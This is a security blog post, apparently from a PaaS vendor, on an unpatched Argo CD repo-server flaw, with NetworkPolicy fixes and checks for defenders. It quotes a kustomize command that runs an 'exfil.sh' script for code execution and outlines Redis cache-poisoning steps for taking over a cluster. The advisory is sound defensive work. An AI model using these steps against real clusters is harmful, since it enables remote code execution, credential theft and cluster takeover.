Skip to main content

Synacktiv's Unpatched Argo CD Repo-Server Flaw: Why Any Pod That Can Reach the gRPC Service Is Equivalent to an Authenticated Attacker

10 min readDora NodaDora Noda
Share
On this page

Any pod in your cluster that can open a TCP connection to Argo CD's repo-server is, for practical purposes, an authenticated attacker with a path to full cluster takeover. No stolen token. No compromised git remote. No RBAC role to escalate into — just network reachability to one internal gRPC endpoint, plus a second one (Redis), and a crafted GenerateManifest request does the rest.

That is the finding Synacktiv published on July 1, 2026 after reporting it to the Argo CD maintainers in January 2025. The part that should unsettle every self-hosted platform team is not the exploit's cleverness: it is how ordinary the precondition is.

If you run Argo CD, here is the fix first, before a single paragraph of mechanism:

bash
# 1. Check whether the policies exist (expect 7, including repo-server and redis)
kubectl get networkpolicy -n argocd
 
# 2a. Helm installs: enable the shipped policies (or upgrade to chart 10.0.0+,
#     which installs them by default) and re-check step 1
helm upgrade <release> argo/argo-cd -n argocd --reuse-values \
  --set global.networkPolicy.create=true
 
# 2b. Raw-manifest installs: the policies ship in install.yaml — verify they
#     were actually applied, then re-check step 1

One critical disclaimer before you skim the rest: chart 10.0.0 only flips the NetworkPolicy default (tracked as CVE-2026-62185). The unauthenticated gRPC endpoint itself — CVE-2026-15416 — remains unpatched upstream. Network isolation is not a stopgap until you upgrade; until Argo CD ships authentication on repo-server, network isolation is the fix.

What Synacktiv found, concretely

Argo CD's architecture splits deploy work across components: the API server handles auth and RBAC, the application controller reconciles live state against git, and repo-server sits in the middle rendering manifests — cloning repos, running kustomize, helm template, or config-management plugins, and returning YAML. The API server talks to repo-server over gRPC, on the /repository.RepoServerService/GenerateManifest endpoint.

Synacktiv found the bug by building a custom CodeQL model pack that treated the second parameter of every Service/Server gRPC handler as attacker-controlled. The headline result: repo-server's gRPC server enforces no authentication at all, so anyone who can reach TCP 8081 can call GenerateManifest directly.

Worse, GenerateManifest accepts a KustomizeOptions struct — BuildOptions and BinaryPath — that the legitimate API path only ever populates from administrator-defined server configuration. There is no check that the caller is the API server. Your options struct arrives, repo-server obeys it.

The exploit Synacktiv demonstrated against Argo CD v2.13.3 abuses a stock kustomize feature, not a kustomize bug:

text
kustomize build <attacker-controlled repo> --enable-helm --helm-command ./exfil.sh

Point GenerateManifest at an attacker Git repo containing a kustomization.yaml with a helmCharts entry and a shell script, set BuildOptions to --enable-helm --helm-command ./exfil.sh, and repo-server clones the repo and executes the script during manifest rendering. Synacktiv's proof of concept used the Perl interpreter present in the repo-server image to exfiltrate the REDIS_PASSWORD environment variable to a listener. Remote code execution inside repo-server, from an unauthenticated request.

Note what this collapses. Three attacker positions that your threat model probably treats as three different severity tiers turn out to be the same attack:

Attacker starting positionWhat they needWhat they get
Compromised application pod (tenant workload RCE)TCP reachability to repo-server:8081Unauthenticated GenerateManifest → RCE in repo-server
Misconfigured service mesh / flat networkSame: one reachable port, no credentialsIdentical primitive, identical RCE
Adjacent workload with local code executionSameIdentical primitive, identical RCE

No git credentials appear anywhere in that chain. The request carries its own repo URL, its own revision, its own kustomize options. Reachability is the credential.

Why RCE in repo-server means cluster takeover

Code execution in a manifest-rendering pod sounds contained until you follow the second stage, which Synacktiv worked out in full. The REDIS_PASSWORD exfiltration matters because Argo CD's Redis holds the rendered-manifest cache — gzip-encoded JSON under mfst|… keys — and that cache is trusted, not verified.

Back in 2024, Cycode had already shown that poisoning this cache could deploy arbitrary manifests, but their path needed the target application's selfHeal option enabled. Synacktiv removed that requirement. The trick is a second Redis key family, git-refs|…, which records each repo's known commit SHAs. The attack runs:

  1. Write the malicious manifest into the cached mfst|… entry for the victim app's current commit.
  2. Backdate the git-refs|… entry for the victim repo to an older commit.
  3. Wait for Auto Sync (or a manual sync). Argo CD sees HEAD pointing at a "newer" commit than the recorded ref, finds the poisoned cache entry for that commit, and applies it — malicious manifest included.

The cache has no signature, so nothing distinguishes the attacker's JSON from repo-server's own output. Argo CD's docs describe Redis as a throwaway cache that "will be rebuilt without loss of service," which is true for availability and dangerously wrong for integrity: a cache the controller treats as ground truth is not a cache, it is a datastore with no authentication story. Synacktiv packaged both stages into a tool, argo-cdown, whose release they deliberately delayed to give defenders time to isolate the ports first.

Are you exposed? It depends on your install path

Upstream Argo CD ships NetworkPolicies that wall repo-server off from everything except its own components — and, crucially, those policies exist in the raw manifests but were not applied by the Helm chart, where networkPolicy.create defaulted to false. That default is its own CVE now (CVE-2026-62185, CVSS 8.6, advisory GHSA-47m3-95c7-g2g8), fixed by flipping the default in chart 10.0.0. But "fixed default" only protects fresh installs and upgraders who notice; every install path needs the same verification:

Install pathDefault policy stateCheck commandExposed if…
Helm chart below 10.0.0Policies off (create: false)kubectl get networkpolicy -n argocdThe repo-server / redis policies are absent — the common case
Helm chart 10.0.0+Policies on by defaultSame, plus helm list -n argocd for the chart versionYou assumed the upgrade retro-applied policies it didn't, or you overrode the default
Raw manifests / Kustomize (install.yaml)Policies includedkubectl get networkpolicy -n argocdInstall was trimmed ("we don't need those") or a CNI that doesn't enforce policies is underneath
Argo CD OperatorDepends on operator version and config — verify, don't assumekubectl get networkpolicy -n argocdAbsent policies, whatever the operator's docs imply

Two footnotes apply to every row. First, a NetworkPolicy object your CNI ignores is documentation, not a control — enforcement needs Calico, Cilium, or equivalent, not kubenet or a CNI with policy support disabled. Second, repeat this per Argo CD instance: a fleet with one hardened management cluster and three tenant clusters running their own Argo CD has four answers, and the audit that checks one is theater.

A healthy install shows all seven policies, exactly as Synacktiv's verification output lists them:

text
NAMESPACE   NAME                                              POD-SELECTOR
argocd      argocd-application-controller-network-policy      app.kubernetes.io/name=argocd-application-controller
argocd      argocd-applicationset-controller-network-policy   app.kubernetes.io/name=argocd-applicationset-controller
argocd      argocd-dex-server-network-policy                  app.kubernetes.io/name=argocd-dex-server
argocd      argocd-notifications-controller-network-policy    app.kubernetes.io/name=argocd-notifications-controller
argocd      argocd-redis-network-policy                       app.kubernetes.io/name=argocd-redis
argocd      argocd-repo-server-network-policy                 app.kubernetes.io/name=argocd-repo-server
argocd      argocd-server-network-policy                      app.kubernetes.io/name=argocd-server

If argocd-repo-server-network-policy or argocd-redis-network-policy is missing, you are in the vulnerable set regardless of which row of the table you arrived from.

The concrete lockdown for your fleet

If the policies are absent, apply them. The repo-server policy below is the upstream shape Synacktiv quotes: ingress on TCP 8081 restricted to the four Argo CD components that legitimately call it, and nothing else:

yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-repo-server-network-policy
  namespace: argocd
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-repo-server
  policyTypes:
    - Ingress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-server
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-application-controller
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-notifications-controller
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-applicationset-controller
      ports:
        - protocol: TCP
          port: 8081

Redis needs the same treatment on TCP 6379 — repo-server and the API server in, everything else out — because the second attack stage only needs the Redis port plus the password the first stage hands it:

yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: argocd-redis-network-policy
  namespace: argocd
spec:
  podSelector:
    matchLabels:
      app.kubernetes.io/name: argocd-redis
  policyTypes:
    - Ingress
  ingress:
    - from:
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-repo-server
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-server
        - podSelector:
            matchLabels:
              app.kubernetes.io/name: argocd-application-controller
      ports:
        - protocol: TCP
          port: 6379

Match the app.kubernetes.io/name labels against your own install — Helm chart label values have shifted across versions, and a policy selecting labels nothing carries selects nothing. After applying, verify from the attacker's position, not just the object's existence: exec into an ordinary workload pod and confirm connections to repo-server:8081 and redis:6379 time out, while Argo CD's own sync, refresh, and UI flows still work. If you run a default-deny-ingress posture on the namespace (the chart's defaultDenyIngress value), these allow-rules compose with it; without default-deny they still close exactly the two ports this attack needs.

What breaks if you over-restrict: anything outside the four listed callers that talks to repo-server — external config-management-plugin sidecars in custom setups, some monitoring scrapers hitting the metrics port, ad-hoc argocd CLI port-forward debugging. Those are allowlist additions with known identities, not reasons to leave the port open to the cluster. Add them as named exceptions and keep the default closed.

What this means if you run your own GitOps reconciler

The TODO item behind this post names the audience precisely: teams running Argo CD or a bespoke GitOps reconciler modeled on the same pattern as their deploy pipeline. If you built your own manifest renderer — and plenty of self-hosted PaaS teams have, because Argo CD's weight never fit a small fleet — this disclosure is a design review of your architecture, not just someone else's bug. CSO's coverage framed it as treating GitOps infrastructure as tier zero, and the checklist writes itself:

  1. Authenticate your internal RPC. If your renderer exposes gRPC or HTTP that any pod can reach, "internal" is doing authentication's job and it will fail exactly this way. mTLS between your components, a shared token at minimum — unauthenticated-by-design internal APIs are now a published RCE pattern, not a theoretical concern.
  2. Treat your render cache as a trust boundary. An unsigned cache the reconciler applies from is a second control plane with the security properties of /tmp. Sign cache entries, or re-render rather than trusting stored manifests for sync decisions.
  3. Give the renderer the least privilege you can. Repo-server's pod env held the Redis password; the Redis keys held deploy authority. Separate the credentials that render manifests from the credentials that deploy them, so one compromised renderer cannot mint its own sync.
  4. Ship the NetworkPolicies with restrictive defaults. The Helm chart's create: false default is the cautionary tale: your installer is the security boundary most users actually get. Policies on by default, with documented opt-outs, beats perfect policies nobody applied.

None of these requires Argo CD's scale. A single-namespace reconciler on a three-node fleet needs all four, because the attack never cared how big the fleet was — only whether one pod could reach one port.

The seam this exposes

Step back and the shape of this vulnerability is familiar: a component whose threat model said "only trusted callers," enforced by nothing. Kubernetes gives every pod a routable IP and, absent policy, a flat network; "the manifest-rendering service only talks to git and the API server" was a statement about intended topology, and intended topology is not a control. Synacktiv's CodeQL work deserves credit for the find, but the finding itself is a reminder that internal services on a flat network are public services with extra steps.

For self-hosted platform teams the action list is short and entirely today's work, not whenever-a-fix-lands work: verify the seven policies on every Argo CD instance you run, enable or apply them where missing, confirm your CNI enforces them, and extend the same "reachability equals authentication" audit to every internal endpoint your own deploy pipeline exposes. The 93% of Argo CD users running it in production — per the project's own 2023 survey — are the blast radius. Make sure your fleet is the part of it that read the disclosure and closed the port.

Bex.co is the open-source, AI-native Render alternative — push a git repo, get a running HTTPS service on machines you own. Star the repo on GitHub or deploy your first app today.

Related articles

Run this on infrastructure you own

bex is the open-source, AI-native Render alternative — push a git repo and get a running HTTPS service on your own machines.

Get started with bex